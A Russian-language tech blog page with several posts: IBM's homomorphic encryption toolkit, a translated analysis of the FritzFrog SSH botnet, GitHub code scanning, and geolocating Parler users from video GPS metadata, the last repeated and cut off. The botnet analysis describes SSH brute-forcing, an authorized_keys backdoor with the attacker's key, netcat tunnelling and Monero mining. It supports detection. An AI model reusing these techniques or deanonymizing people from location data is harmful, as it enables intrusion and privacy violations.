Русский
Русский
English
Статистика
Реклама

Блог компании дата-центр «миран»

IBM открыла инструмент полностью гомоморфного шифрования для Linux

01.08.2020 12:08:37 | Автор: admin

Компания IBM опубликовала на GitHub исходный код набора инструментов FHE для Linux. Утилиты работают на платформах IBM Z и x86, поддерживаются Ubuntu, Fedora и CentOS.

Полностью гомоморфное шифрование (FHE) долгое время считалось чем-то вроде чаши святого Грааля в криптографии. Задача действительно казалась нереальной. Тип шифрования FHE предполагает манипуляции зашифрованными данными третьей стороной без возможности расшифровки самих данных или результата манипуляций.

Как такое возможно?

В качестве простого примера представьте, что у вас есть набор электронных писем, и вы хотите использовать сторонний спам-фильтр, чтобы проверить, являются ли они спамом. Спам-фильтр работает на сервере, потому что разработчик старается сохранить конфиденциальность своего алгоритма: либо скрывает исходный код, либо спам-фильтр зависит от очень большой базы данных, которую они не хотят раскрывать публично, так как это облегчает атаку, либо и то, и другое. Неважно, главное, что спам-фильтр в любом случае работает на сервере и вы никак не можете запустить его у себя. Что делать в такой ситуации? Вы тоже заботитесь о конфиденциальности своих данных и не хотите передавать третьим лицам содержание электронных писем в открытом, незашифрованном виде. Здесь на выручку приходит полностью гомоморфное шифрование:


Таким образом, сервис хранит в секрете алгоритм, а вы храните в секрете свои данные. Но FHE позволяет успешно применять алгоритм на этих данных, так что ни одна сторона на узнаёт секреты другой.

Полностью гомоморфное шифрование имеет множество применений, в том числе и в блокчейне, где сервер может манипулировать зашифрованными данными клиента без раскрытия содержимого информации. То есть сервер может выполнять запросы клиента, не зная, что он запросил.

Другие варианты применения гомоморфного шифрования:

  • Более эффективные протоколы скрытых адресов и более общие решения масштабируемости для протоколов сохранения конфиденциальности, которые сегодня требуют от каждого пользователя лично сканировал весь блокчейн на предмет входящих транзакций.
  • Обмен данными с сохранением конфиденциальности, которые позволяют пользователям выполнять некоторые конкретные облачные вычисления над своими данными, сохраняя при этом полный и единоличный контроль над ними.
  • Как компонент более мощных криптографических примитивов, таких как более эффективные протоколы конфиденциальных вычислений (двусторонняя версия иллюстрируется классической задачей миллионеров, в которой два миллионера хотят выяснить, кто из них богаче, не разглашая точную сумму своего благосостояния).

Вообще, существуют различные виды гомоморфного шифрования, некоторые более мощные, чем другие. Они отличаются тем, какие операции можно произвести с зашифрованными данными.

Частично гомоморфное шифрование позволяет произвести только одну операцию с зашифрованными данными: либо сложение, либо умножение

Отчасти гомоморфное шифрование (somewhat homomorphic) полноценно работает только на ограниченном наборе данных.

Наконец, полностью гомоморфное шифрование позволяет неограниченные операции сложения и умножения на любом массиве данных.

Реализовать частичное гомоморфное шифрование довольно легко: например, умножение реализовано в RSA:

$enc(x) = x^e$, $enc(y) = y^e$, так что $enc(x) * enc(y) = (xy)^e = enc(xy)$

Эллиптические кривые предлагают аналогичный вариант со сложением. А вот реализовать одновременно и сложение, и умножение гораздо сложнее. Поиски такой схемы продолжались с 1978 года, когда Ривест, Адлеман и Дертузос сформулировали задачу и ввели термин гомоморфное шифрование. В течение 30 лет существование полностью гомоморфных систем не было доказано, а сам Ривест решил, что идея не подлежит реализации.

Серьёзный прорыв произошёл только в 2009 году после публикации кандидатской диссертации стэнфордского аспиранта Крейга Джентри. Он описал возможную конструкцию полностью гомоморфной криптосистемы на идеальных решётках. В диссертации он также предложил инновационную идею бутстраппинга. Этот трюк превращает схему частичного FHE в схему полностью гомоморфного шифрования. Метод бутстраппинга изображён на диаграмме ниже. Если вкратце, то здесь биты секретного ключа шифруются публичным ключом в гомоморфной схеме и публикуются как бустрапперский ключ, что позволяет исполнить гомоморфное шифрование на перешифрованном шифротексте, в котором шум уменьшается до размеров исходного. То есть мы освежаем шифротекст, как бы стирая ошибку старого ключа.



Проще выражаясь, процедура расшифровки сама по себе является вычислением, поэтому может быть реализована как гомоморфная схема, которая принимает на входе биты шифротекста и биты секретного ключа.

Криптографическая схема Джентри стала серьёзным прорывом, но вводила новую ошибку, которая не зависит от количества ошибки в исходном шифровании. Сам автор описал сложное решение проблемы, но более удачной стала доработанная схема Бракерски и Вайкунтанатана, предложенная в 2011 году (схема получила название BGV (Бракерски-Гентри-Вайкунтанатан). В 2013 году IBM выпустила свободную криптографическую библиотеку HELib с поддержкой гомоморфного шифрования и схемы BGV. В январе 2020 года вышла версия HELib 1.0.0.

В 2013 году Джентри снова заявил о себе. С соавторами Сахаи и Уотерсом и представил схему полного гомоморфного шифрования третьего поколения схему GSW (Gentry, Sahai, Waters), которая опять использует криптографию на решётках и бустраппинг.

За годы разработки на базе HELib создан полноценный набор инструментов с интегрированными образцами для IDE, которые работают сразу из коробки.


Ранее IBM уже выпустила инструменты полностью гомоморфного шифрования для MacOS и iOS. В перспективе обещает опубликовать исходный код версии для Android.

Версия для Linux выпущена скорее в демонстрационных целях и работает на базе данных с европейскими странами и их столицами (второй пример для финансовой отрасли представляет собой распознавание фрода нейросетью на зашифрованной базе анонимных транзакций). До практического применения гомоморфного шифрования пока дело не дошло. По оценке самого Джентри в 2009 году, например, обработка поискового запроса в Google в случае, если текст зашифрован, потребует примерно в триллион раз больше вычислений. Тем не менее, сделанные IBM оптимизации позволили существенно повысить производительность библиотеки, так что через несколько лет или десятилетий, она вполне может найти широкое применение в веб-приложениях. IBM заявляет, что уже сейчас библиотеку можно запускать на мейнфреймах IBM Z.
Подробнее..

Перевод FritzFrog новое поколение ботнетов

24.08.2020 18:21:28 | Автор: admin

Краткое содержание


  • Guardicore обнаружили сложный ботнет пиринговой (P2P) сети FritzFrog, который еще с января 2020 года активно взламывал SSH серверы.
  • Вредоносное ПО на Golang: FritzFrog исполняет модульный, мультипоточный и безфайловый вредоносный код на Golang, который не оставляет следов на жестком диске зараженного устройства.
  • Активное таргетирование государственных, образовательных, финансовых и прочих ресурсов: FritzFrog пытался брутфорсить и распространяться на десятках миллионов IP адресов правительственных офисов, образовательных учреждений, медицинских центров, банков и множества телекоммуникационных компаний. Среди них успешно подвержены атаке оказались более чем 500 серверов, включая известные университеты США и Европы, и одну железнодорожную компанию.
  • Сложность: FritzFrog полностью проприетарен, его имплементация P2P написана с нуля, что говорит о высоком уровне профессионализма его создателей в области разработки ПО.
  • Перехват: Guardcore Labs разработали клиентскую программу на Golang, способную перехватывать P2P соединения FritzFrog и подключаться к сети как пир.
  • Принадлежность: мы не смогли определить конкретную группу, ответственную за создание FritzFrog, однако текущий ботнет частично похож на ранее известный ботнет Rakos.

Введение


FritzFrog это очень изощренный пиринговый ботнет, который активно взламывает SSH серверы по всему миру. Благодаря своей децентрализованной структуре он распределяет контроль по всем своим узлам. В этой сети нет единой точки отказа, и пиры постоянно общаются друг с другом, чтобы поддерживать ее в устойчивом, обновляемом и постоянно активном состоянии. P2P соединение проводится через зашифрованный канал с использованием AES для симметричного шифрования и протокола Диффи-Хеллмана для обмена ключами.

В отличие от других P2P ботнетов, FritzFrog уникален набором своих свойств: он безфайловый, поскольку собирает и исполняет пакеты прямо в памяти; несмотря на эффективное равномерное распределение целей в своей сети, он очень агрессивно их брутфорсит; его проприетарные P2P протоколы не основаны ни на одной из ныне известных реализаций.

Написанный на Golang вредоносный код очень переменчив и не оставляет следов на жестком диске. Он создает бэкдор в виде публичного SSH ключа и тем самым открывает злоумышленникам постоянный доступ к устройству жертвы. С самого начала его активности мы выявили 20 различных версий исполняемого вредоносного ПО.

В этом посте мы расскажем, каким образом была раскрыта деятельность FritzFrog, а так же каковы природа его P2P сети и внутреннее устройство вредоносного кода включая процесс заражения, шифрование команд и изменчивое поведение.

Guardicore Labs предоставили доступ к Github репозиторию со скриптом для обнаружения этого вредоносного ПО и списком индикаторов компрометации (IoC) его деятельности.


Географическое распределение зараженных узлов. Наиболее подверженными атакам странами оказались США, Китай и Южная Корея.

Исследование FritzFrog


Впервые Guardcore Labs обратили внимание на деятельность FritzFrog в ходе исследования Botnet Encyclopedia. 9 января были обнаружены новые атаки с исполнением вредоносных процессов ifconfig и nginx. Мы начали отслеживать стабильный и значимый рост вредоносной деятельности, которая вскоре достигла 13 тысяч атак на Guardcore Global Sensors Network (GGSN). За все время мы отследили 20 различных версий бинарников FritzFrog.


График демонстрирует количество атак FritzFrog на GGSN.

Удивительным оказалось то, что вредоносный код на первый взгляд не связывался с каким-либо сервером командования и контроля (CNC). Только когда мы начали серьезно исследовать ботнет, мы поняли что никакого сервера не было и в помине.

Для перехвата сети ботнета Guardcore Labs разработали на Golang клиент, способный обмениваться ключами с вредоносным ПО, а так же отправлять команды и получать ответы. Эта программа, которую мы затем назвали фроггер, позволила нам исследовать природу и задачи сети, и благодаря фроггеру мы добавили в сеть наши собственные узлы, сумев подсоединиться к ботнету, и поучаствовали в передаче данных активного P2P трафика.

FritzFrog брутфорсил миллионы IP адресов, среди которых оказались правительственные офисы, образовательные учреждения, медицинские центры, банки и множество телекоммуникационных компаний. Из них успешно подвержены атаке оказались более чем 500 серверов, включая известные университеты США и Европы, и одну железнодорожную компанию.

Новое поколение P2P


Почему Новое поколение?


У FritzFrog есть уникальный набор свойств, который сильно выделяет его на фоне прочих сетевых угроз:

  • Безфайловость: FritzFrog работает без рабочей директории, а обмен файлами происходит прямо в памяти через массивы двоичных данных (BLOB).
  • Постоянные обновления: базы данных целей и пораженных устройств обновляются плавно и органично.
  • Агрессивность: брутфорс ведется с использованием обширного словаря. Для примера, недавно обнаруженный P2P ботнет DDG в поле логина использовал только root.
  • Эффективность: Цели равномерно распределены между узлами.
  • Проприетарность: P2P протокол ботнета полностью проприетарен и не основывается на каком-либо из известных P2P протоколов, например TP.

Как только жертва оказывается успешно взломана, на ней запускается UPX-запакованный вредоносный код, который затем тут же сам себя удаляет. Для минимизации подозрений вредоносные процессы исполняются под наименованиями ifconfig и nginx. В самом начале своей работы вредоносный код прослушивает порт 1234 в ожидании команд. Первые полученные команды синхронизируют жертву с базой данных пиров сети и целей брутфорса.


Кластер узлов сети FritzFrog. Каждый узел это зараженный SSH сервер. Размер узлов демонстрирует их связность с остальной сетью.

Трафик на нестандартном порте, например 1234, легко заметить и заблокировать файерволом либо любой другой системой защиты. Поэтому разработчики FritzFrog подошли к проблеме творчески и вместо прямой передачи команд через порт 1234 злоумышленник подключается к жертве через SSH и запускает на устройстве netcat клиент, который в свою очередь соединяется с сервером ботнета. Таким образом, любая команда будет передана через SSH как ввод netcat и без труда достигнет вредоносного кода.


FritzFrog туннелирует свои P2P команды через классический SSH порт, для чего пользуется локальным netcat клиентом зараженного устройства.

Злоумышленники FritzFrog внедрили зашифрованный командный канал с более чем 30 различными командами. Параметры команд и отклики передаются в указанных структурах данных и выпускаются (мобилизуются) в формате JSON. Перед отправлением данные зашифровываются симметричным шифрованием AES и кодируются в Base64. Для обмена ключами участвующие в передаче данных узлы используют протокол Диффи-Хеллмана.



Узлы в сети FritzFrog поддерживают тесный контакт, постоянно пингуя друг друга для проверки соединения, обмена пирами и целями и взаимной синхронизации. Узлы также участвуют в искусном избирательном процессе, который влияет на распределение целей брутфорса в сети. Наблюдения Guardcore Labs подтверждают, что цели в сети распределены равномерно и никакие два узла не будут пытаться взломать одну и ту же цель.

Погружение во вредоносный код


Бинарник FritzFrog это продвинутый вредоносный код на Golang. Он полностью работает в памяти, каждый узел с вредоносным кодом хранит в памяти всю базу данных целей и пиров. Вредоносный код создает несколько потоков для одновременной обработки различных задач в соответствии с приведенной ниже таблицей.

FritzFrog определяет состояния управления жертвой и целевым устройством следующим образом:
  1. Target (цель): устройство из запроса цели будет затем передано модулю Cracker, который в свою очередь постарается просканировать и взломать его.
  2. Deploy (развертывание): успешно взломанное устройство встает в очередь на заражение вредоносным кодом через модуль DeployMgmt.
  3. Owned (владение): успешно зараженное устройство будет добавлено в P2P сеть модулем Owned.




У каждого узла с вредоносным кодом есть рабочий поток, который отвечает за получение команд, их разбор и передачу соответствующим функциям в коде.


Рабочая функция в дизассемблере. Каждая ветка соответствует поддерживаемому P2P функционалу.

Вредоносный код несет временный характер: пусть он и пытается пережить системные перезагрузки, для будущего доступа к взломанной цели сохраняется бэкдор, чьи логин и пароль хранятся у пиров сети. Вредоносный код добавляет публичный SSH-RSA ключ в файл authorized_keys. Столь простой бэкдор позволяет злоумышленнику с секретным частым ключом аутентифицироваться без пароля, на случай если изначальный пароль оказался изменен. Единственный используемый FritzFrog публичный ключ приведен ниже.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJYZIsncBTFc+iCRHXkeGfFA67j+kUVf7h/IL+sh0RXJn7yDN0vEXz7ig73hC//2/71sND+x+Wu0zytQhZxrCPzimSyC8FJCRtcqDATSjvWsIoI4j/AJyKk5k3fCzjPex3moc48TEYiSbAgXYVQ62uNhx7ylug50nTcUH1BNKDiknXjnZfueiqAO1vcgNLH4qfqIj7WWXu8YgFJ9qwYmwbMm+S7jYYgCtD107bpSR7/WoXSr1/SJLGX6Hg1sTet2USiNevGbfqNzciNxOp08hHQIYp2W9sMuo02pXj9nEoiximR4gSKrNoVesqNZMcVA0Kku01uOuOBAOReN7KJQBt

Вредоносный файл прогоняет всевозможные команды оболочки на локальном устройстве, некоторые по несколько раз, для отслеживания состояния системы. Например, он прогоняет free m для проверки доступной оперативной памяти, uptime, journalctl s @0 u sshd для отслеживания SSH логинов, и прочие команды для вывода статистики нагрузки процессора. Эта статистика оказывается доступна другим узлам в сети, и используется для принятия различных решений, например запускать ли криптомайнер на устройстве или нет. Если решение принято, вредоносный код запускает отдельный процесс, libexec, для майнинга Monero. Этот майнер основан на популярном майнере XMRig и связывается с публичным пулом web.xmrpool.eu через порт 5555.

Злобная торрентоподобная сеть


FritzFrog полагается на способность делиться файлами по всей сети, как для заражения новых устройств, так и для запуска вредоносных элементов, например криптомайнера Monero.

Для обмена файлами между узлами FritzFrog использует скрытный безфайловый подход: файлы делятся на хранящиеся в памяти массивы двоичных данных, и вредоносный код отслеживает доступные массивы через хранение их в карте вместе со значением хэша каждого массива.

Когда узел А хочет получить файл от своего пира, узла B, он моет выслать узлу В запрос getblobstats чтобы узнать какими массивами он владеет. Затем узел А может получить конкретный массив через его хэш, как с помощью P2P команды getbin, так и с помощью HTTP по адресу http://1234/. Как только узел А получает все массивы, он собирает файл через модуль Assemble и запускает его.


Результат команды getblolbstats. Каждый узел в сети сообщает, каким он обладает массивом в соответствии с поддерживаемым списком файлов.

Присвоение


Отслеживание операций P2P ботнета задача трудная. В связи с распределенной природой сети, команды в ней можно передавать с любого узла на любой узел. Тем не менее, мы попробовали сравнить этот P2P ботнет с предыдущими аналогичными угрозами.

Даже при сравнении с другими P2P ботнетами FritzFrog остается уникальным: он не использует IRC как это делает IRCflu, в отличие от DDG он работает прямо в памяти, и он запускается на Unix-устройствах в противовес ботнету InterPlanetary Storm. Если он на кого и похож, особенно в плане наименования функций и нумерации версий, так это на Rakos, P2P ботнет на Golang, проанализированный ESET еще в 2016 году.

Отслеживание действий И смягчение последствий


Guardcore Labs предоставили скрипт по отслеживанию FritzFrog для запуска на SSH серверах. Он ищет следующие индикаторы ботнета:
  • Запуск процессов nginx, ifconfig или libexec, чей исполняемый файл более в системе не существует (как можно видеть ниже).
  • Прослушивание порта 1234.

В дополнение к этому, TCP трафик через порт 5555 может указывать на сетевой трафик к пулу Monero.

ubuntu@ip-111-11-11-11:~$ ./detect_fritzfrog.sh
FritzFrog Detection Script by Guardicore Labs
=============================================

[*] Fileless process nginx is running on the server.
[*] Listening on port 1234
[*] There is evidence of FritzFrog's malicious activity on this machine.

FritzFrog эксплуатирует особенность большинства систем сетевой защиты по принуждению трафика только через порт и протокол. Исключить подобные угрозы можно основанными на процессах правилами сегментации.

Слабые пароли оказываются ключевой уязвимостью для атак FritzFrog. Мы рекомендуем использовать сильные пароли и публичные ключи авторизации, что намного безопаснее. Кроме того, критически важно исключить публичный ключ FritzFrog из файла authorization_keys чтобы не дать злоумышленникам доступ к устройству. Роутеры и IoT устройства обычно раскрывают свой SSH и потому становятся уязвимы для атак FritzFrog; мы рекомендуем сменить таким устройствам SSH порт или, если функционал не используется, полностью отключить SSH.
Подробнее..

GitHub запустил статический анализ кода на уязвимости

01.10.2020 14:20:35 | Автор: admin


После обширного тестирования GitHub открыл в открытом доступе функцию сканирования кода на уязвимости. Любой желающий может запустить сканер на собственном репозитории и найти уязвимости до того, как они пойдут в продакшн. Сканер действует для репозиториев на C, C++, C#, JavaScript, TypeScript, Python и Go.

Сканер основан на технологии CodeQL, которую разработала компания Semmle, купленная GitHub в прошлом году. CodeQL считается первым в мире сканером на уязвимости. В мае 2020 года началось бета-тестирование на GitHub. Теперь функция доступна для всех.

Как включить


Сканирование запускается со вкладки Security в репозитории.



Там нажимаем Set up code scanning.



В следующем окне нужно выбрать workflow, который мы хотим использовать для сканирования. Дело в том, что CodeQL поддерживает подключение сторонних движков. Для стандартного движка выбираем Анализ CodeQL.



В принципе, данный workflow можно настроить: включить сканирование по расписанию, сканирование на каждый push или пул-реквест, использовать собственный конфигурационный файл, запустить дополнительные поисковые запросы при сканировании.

Затем нажимаем кнопку Start commit и пишем название для нового коммита.



Выбираем коммит в главную ветку или создать новую ветку и запустить пул-реквест.



Это всё. В конце нажимаем кнопку Commit new file или Propose new file.

После указания коммита сканер уязвимостей будет анализировать ваш код в соответствии с частотой, указанной в файле workflow.

После активации CodeQL можно смотреть результаты и изменять параметры сканирования.

Движок CodeQL




Движок CodeQL ищет потенциальные уязвимости по словарю из более 2000 запросов. Словарь составлен GitHub и сообществом пользователей, которые тестировали систему. Эта база будет постоянно пополняться, да и каждый может дополнить её в индивидуальном порядке, просто отредактировав конфигурационный файл.

Инструмент сканирования построен по стандарту статического анализа кода SARIF (OASIS Static Analysis Results Interchange Format) и поддерживает подключение сторонних движков, которые будут работать в едином интерфейсе. Также поддерживается экспорт результатов через единые API.

С момента представления в мае 2020 года отсканировано более 12000 репозиториев (всего 1,4млн проходов) и найдено более 20000 проблем безопасности, включая уязвимости удалённого исполнения кода (RCE), SQL-инъекции и межсайтовый скриптинг (XSS).

Разработчики и мейнтейнеры исправили 72% найденных уязвимостей в течение 30 дней после их обнаружений, до слияния кода с основной веткой. Это хороший результат, потому что по статистике менее 30% найденных уязвимостей исправляются в течение месяца после обнаружения.

По итогам бета-тестирования в опенсорсный словарь запросов сделано 132 коммита от сообщества. Чтобы пользователи GitHub могли запускать сторонние инструменты, заключены соглашения с более чем десятком разработчиков систем безопасности и опенсорсных инструментов для статического анализа, сканирования контейнеров и валидации инфраструктуры как кода (Infrastructure-as-Code; IaC) это подход для управления и описания инфраструктуры через конфигурационные файлы, а не через ручное редактирование конфигураций на серверах или интерактивное взаимодействие.

Дополнительно к поиску уязвимостей GitHub также сотрудничает с 24 сторонними сервис-провайдерами, чтобы находить в коде их секреты, которые нельзя публиковать в открытом виде, такие как ключи доступа. Среди партнёров AWS, Google Cloud, Azure, Dropbox, Slack, Discord, npm, Stripe и Twilio, Сканирование на секреты происходит автоматически и в публичных, и в приватных репозиториях.



Сканирование кода является бесплатным для публичных репозиториев и входит в пакет Advanced Security для GitHub Enterprise (то есть это платная услуга). Некоторые экзотические опции (список разрешённых IP-адресов, поддержка SAML, LDAP и др.) доступны только в платном варианте.

Впрочем, в эту бочку мёда нужно добавить ложку дёгтя. Некоторые авторы опенсорсных программ жалуются (1, 2), что сканирование даёт слишком много ложноположительных срабатываний.


В теории автоматическая проверка всех репозиториев это хорошее дело, но на практике не очень приятно постоянно отвлекаться на сообщения о ложных уязвимостях, особенно в dev-репозиториях или устаревших архивах, которые никогда не пойдут в продакшн. Такое очень быстро надоедает. Некоторые авторы говорят, что в их собственном коде большинство уязвимостей на самом деле шум или не применимо в конкретном случае.

То есть сканер GitHub может вызвать все симптомы состояния, известного как усталость от безопасности (security fatigue). Подробнее об этом состоянии см. в научной статье (doi: 10.1109/MITP.2016.84). Там говорится, что это состояние у человека подкрепляет его нежелание следовать рекомендациям по безопасности и влияет на общий анализ выгоды и затрат.
Подробнее..

Визуализация пользователи Parler во время штурма Капитолия США по GPS-метаданным видеороликов

13.01.2021 18:13:38 | Автор: admin


6 января 2021 года толпа протестующих захватила Капитолий США. Несколько десятков проникли внутрь здания в места, обычно закрытые для публики, в том числе в кабинеты парламентариев и зал заседаний. Естественно, они сразу начали делать селфи, снимать видео и тут же публиковать в соцсетях. Некоторые даже стримили в прямом эфире.

Среди бунтующих оказалось и несколько пользователей твиттероподобной соцсети Parler. Это выяснилось по GPS-метаданным с их видеороликов. Дело в том, что Parler не зачищает эти метаданные в стандартном порядке, как это делают остальные соцсети, чтобы защитить приватность людей.

Казалось бы, как провести анализ метаданных, если сайт недоступен с понедельника, когда компания Amazon отказалась его обслуживать. Но благодаря юной хакерше @donk_enby у нас есть архив на 56,71ТБ со всеми данными, опубликованными в соцсети.



donk_enby входит в коллектив Archive Team, который занимается архивированием разных сайтов. Особенно тех, которым грозит закрытие (скажем, Reddit постоянно банит разные коммьюнити за якобы хейтерство, как это произошло с /r/fatpeoplehate, или, например, все сайты на платформе Google Sites точно уйдут в офлайн 1.10.2021). Архивируются также сайты, где размещается важный контент. В случае Parler это было важно, потому что именно здесь ультраправые националисты США планировали свои акции. Они использовали и другие платформы, которые считаются альтернативой мейнстриму: Gab, MeWe, Zello и Telegram.

В архиве Parler за всё время накопилось 1,1млн видеозаписей. Метаданные выглядят примерно так:



Анализ всех файлов, опубликованных 6 января (день мятежа), выявил 618 видеороликов с GPS-координатами на территории Капитолия и рядом с ним. Известно, что аналогичный анализ провела ФБР в рамках масштабной кампании поиска бунтовщиков, по меньшей мере 20 из которых уже находятся под стражей.

Полученные данные дают представление о том, как пользователи сайта Parler роятся на территории Капитолия.

Осада 6 января продолжалась около двух часов и привела к гибели пяти человек, в том числе офицера полиции Капитолия, которого ударили огнетушителем. На стенах 220-летнего здания нанесены граффити, внутри разбиты окна, перевёрнуты столы. Среди видеороликов от повстанцев есть интересная запись из кабинета спикера Палаты представителей Нэнси Пелоси с включённым компьютером, на экране которого открыто письмо с предупреждением от службы безопасности.



Точное местоположение пользователей Parler внутри здания на самом деле трудно определить. Координаты в метаданных не позволяют понять, на каких этажах они находятся. Кроме того, они показывают расстояние с ограничением примерно 11 метров.



Другие точки за пределами Капитолия показывают поток протестующих от Национального торгового центра.

В интервью Gizmodo donk_enby говорит, что начала архивировать сообщения Parler в день сбора протестуюших у Капитолия 6 января. Когда стало ясно, что Amazon намеревается удалить приложение со своих серверов, она удвоила свои усилия, стараясь скачать абсолютно весь контент Parler.

По оценке @donk_enby, ей удалось сохранить более 99% всех сообщений Parler, включая 1,1млн видео с указанием местоположения пользователей. В отличие от большинства своих конкурентов, Parler не смог внедрить механизм удаления конфиденциальных метаданных из видеофайлов до их публикации в интернете.

Анализ фотографий в соцсетях даёт много полезной информации. В понедельник от работы отстранили двух сотрудников полиции Капитолия: один сделал селфи с бунтовщиками, а другой надел красную кепку MAGA и направлял их по зданию.

Деанонимизация человека по его GPS-координатам


Вообще, при анализе GPS-метаданных всех видеозаписей отдельного пользователя Parler за всё время, если их достаточное количество, то можно составить некоторый профиль на человека, вплоть до определения его домашнего адреса и места работы. Даже если это анонимный профиль, мы можем узнать имя человека только по его GPS-координатам.

Нужно иметь в виду, что GPS-записи пользователей можно получить не только в результате бага на сайте Parler. Сбором этих координат занимаются десятки трекинговых компаний. Например, в рамках проекта Privacy газеты NY Times был изучен файл с более 50 миллиардами записей. Каждая запись в базе данных местоположение одного смартфона. Период несколько месяцев в 2016 и 2017 годах.



Журналисты NY Times раздобыли этот файл от трекинговой компании. Это самый крупный и наиболее информативный массив данных, когда-либо утёкший в открытый доступ.


Визуализация GPS-координат из датасета

Мы рассказывали в статье Как отслеживают людей по анонимизированным" датасетам, что такая история перемещений собирается буквально на каждого пользователя мобильного телефона. Трекинг выполняется через любое мобильное приложение, у которого есть разрешение на доступ к информации о местоположении устройства или если нет такого права. Например, приложение Facebook отслеживает местоположение пользователей, даже если запретить это в настройках. Затем информация продаётся брокерам.

Ряд научных исследований показал, что личность человека легко установить по истории его перемещений. Учёные пришли к выводу, что действительно точную и длительную историю геолокации абсолютно невозможно обезличить. Это как отпечатки пальцев или ДНК человека.

В то же время компании продолжают утверждать, что данные являются анонимными, чтобы успокоить людей по поводу столь инвазивного мониторинга. Кроме того, согласно законодательству Российской Федерации и других стран, частным компаниям никто не запрещает свободно собирать и продавать данные о местоположении и другую персональную информацию, пока эта информация считается анонимной. Поэтому компании и пользуются лазейкой для сбора и продажи массивных баз данных с якобы анонимными GPS-координатами.

История геолокации многое говорит о человеке, но трекинговые фирмы собирают гораздо более подробное досье на каждого человека, включая туда информацию с других трекеров, в том числе история действий в интернете, просмотренных страниц и поисковых запросов на персональном компьютере, ноутбуке, планшете и смартфоне; видеоролики, фильмы и передачи, запущенные на экране телевизора и многое другое.

Большинство пользователей не возражает против сбора данных в мобильных приложениях, потому что не осознают масштаба слежки и готовы мириться с ней ради удобства потребления и коммуникации. Самый большой трюк, который когда-либо провернули технологические компании, они убедили общество следить за собой, пишет NY Times.
Подробнее..

Визуализация пользователей Parler во время штурма Капитолия США по GPS-метаданным видеороликов

13.01.2021 20:16:14 | Автор: admin


6 января 2021 года толпа протестующих захватила Капитолий США. Несколько десятков проникли внутрь здания в места, обычно закрытые для публики, в том числе в кабинеты парламентариев и зал заседаний. Естественно, они сразу начали делать селфи, снимать видео и тут же публиковать в соцсетях. Некоторые даже стримили в прямом эфире.

Среди бунтующих оказалось и несколько пользователей твиттероподобной соцсети Parler. Это выяснилось по GPS-метаданным с их видеороликов. Дело в том, что Parler не зачищает эти метаданные в стандартном порядке, как это делают остальные соцсети, чтобы защитить приватность людей.

Казалось бы, как провести анализ метаданных, если сайт недоступен с понедельника, когда компания Amazon отказалась его обслуживать. Но благодаря юной хакерше @donk_enby у нас есть архив на 56,71ТБ со всеми данными, опубликованными в соцсети.



donk_enby входит в коллектив Archive Team, который занимается архивированием разных сайтов. Особенно тех, которым грозит закрытие (скажем, Reddit постоянно банит разные коммьюнити за якобы хейтерство, как это произошло с /r/fatpeoplehate, или, например, все сайты на платформе Google Sites точно уйдут в офлайн 1.10.2021). Архивируются также сайты, где размещается важный контент. В случае Parler это было важно, потому что именно здесь ультраправые националисты США планировали свои акции. Они использовали и другие платформы, которые считаются альтернативой мейнстриму: Gab, MeWe, Zello и Telegram.

В архиве Parler за всё время накопилось 1,1млн видеозаписей. Метаданные выглядят примерно так:



Анализ всех файлов, опубликованных 6 января (день мятежа), выявил 618 видеороликов с GPS-координатами на территории Капитолия и рядом с ним. Известно, что аналогичный анализ провела ФБР в рамках масштабной кампании поиска бунтовщиков, по меньшей мере 20 из которых уже находятся под стражей.

Полученные данные дают представление о том, как пользователи сайта Parler роятся на территории Капитолия.

Осада 6 января продолжалась около двух часов и привела к гибели пяти человек, в том числе офицера полиции Капитолия, которого ударили огнетушителем. На стенах 220-летнего здания нанесены граффити, внутри разбиты окна, перевёрнуты столы. Среди видеороликов от повстанцев есть интересная запись из кабинета спикера Палаты представителей Нэнси Пелоси с включённым компьютером, на экране которого открыто письмо с предупреждением от службы безопасности.



Точное местоположение пользователей Parler внутри здания на самом деле трудно определить. Координаты в метаданных не позволяют понять, на каких этажах они находятся. Кроме того, они показывают расстояние с ограничением примерно 11 метров.



Другие точки за пределами Капитолия показывают поток протестующих от Национального торгового центра.

В интервью Gizmodo donk_enby говорит, что начала архивировать сообщения Parler в день сбора протестуюших у Капитолия 6 января. Когда стало ясно, что Amazon намеревается удалить приложение со своих серверов, она удвоила свои усилия, стараясь скачать абсолютно весь контент Parler.

По оценке @donk_enby, ей удалось сохранить более 99% всех сообщений Parler, включая 1,1млн видео с указанием местоположения пользователей. В отличие от большинства своих конкурентов, Parler не смог внедрить механизм удаления конфиденциальных метаданных из видеофайлов до их публикации в интернете.

Анализ фотографий в соцсетях даёт много полезной информации. В понедельник от работы отстранили двух сотрудников полиции Капитолия: один сделал селфи с бунтовщиками, а другой надел красную кепку MAGA и направлял их по зданию.

Деанонимизация человека по его GPS-координатам


Вообще, при анализе GPS-метаданных всех видеозаписей отдельного пользователя Parler за всё время, если их достаточное количество, то можно составить некоторый профиль на человека, вплоть до определения его домашнего адреса и места работы. Даже если это анонимный профиль, мы можем узнать имя человека только по его GPS-координатам.

Нужно иметь в виду, что GPS-записи пользователей можно получить не только в результате бага на сайте Parler. Сбором этих координат занимаются десятки трекинговых компаний. Например, в рамках проекта Privacy газеты NY Times был изучен файл с более 50 миллиардами записей. Каждая запись в базе данных местоположение одного смартфона. Период несколько месяцев в 2016 и 2017 годах.



Журналисты NY Times раздобыли этот файл от трекинговой компании. Это самый крупный и наиболее информативный массив данных, когда-либо утёкший в открытый доступ.


Визуализация GPS-координат из датасета

Мы рассказывали в статье Как отслеживают людей по анонимизированным" датасетам, что такая история перемещений собирается буквально на каждого пользователя мобильного телефона. Трекинг выполняется через любое мобильное приложение, у которого есть разрешение на доступ к информации о местоположении устройства или если нет такого права. Например, приложение Facebook отслеживает местоположение пользователей, даже если запретить это в настройках. Затем информация продаётся брокерам.

Ряд научных исследований показал, что личность человека легко установить по истории его перемещений. Учёные пришли к выводу, что действительно точную и длительную историю геолокации абсолютно невозможно обезличить. Это как отпечатки пальцев или ДНК человека.

В то же время компании продолжают утверждать, что данные являются анонимными, чтобы успокоить людей по поводу столь инвазивного мониторинга. Кроме того, согласно законодательству Российской Федерации и других стран, частным компаниям никто не запрещает свободно собирать и продавать данные о местоположении и другую персональную информацию, пока эта информация считается анонимной. Поэтому компании и пользуются лазейкой для сбора и продажи массивных баз данных с якобы анонимными GPS-координатами.

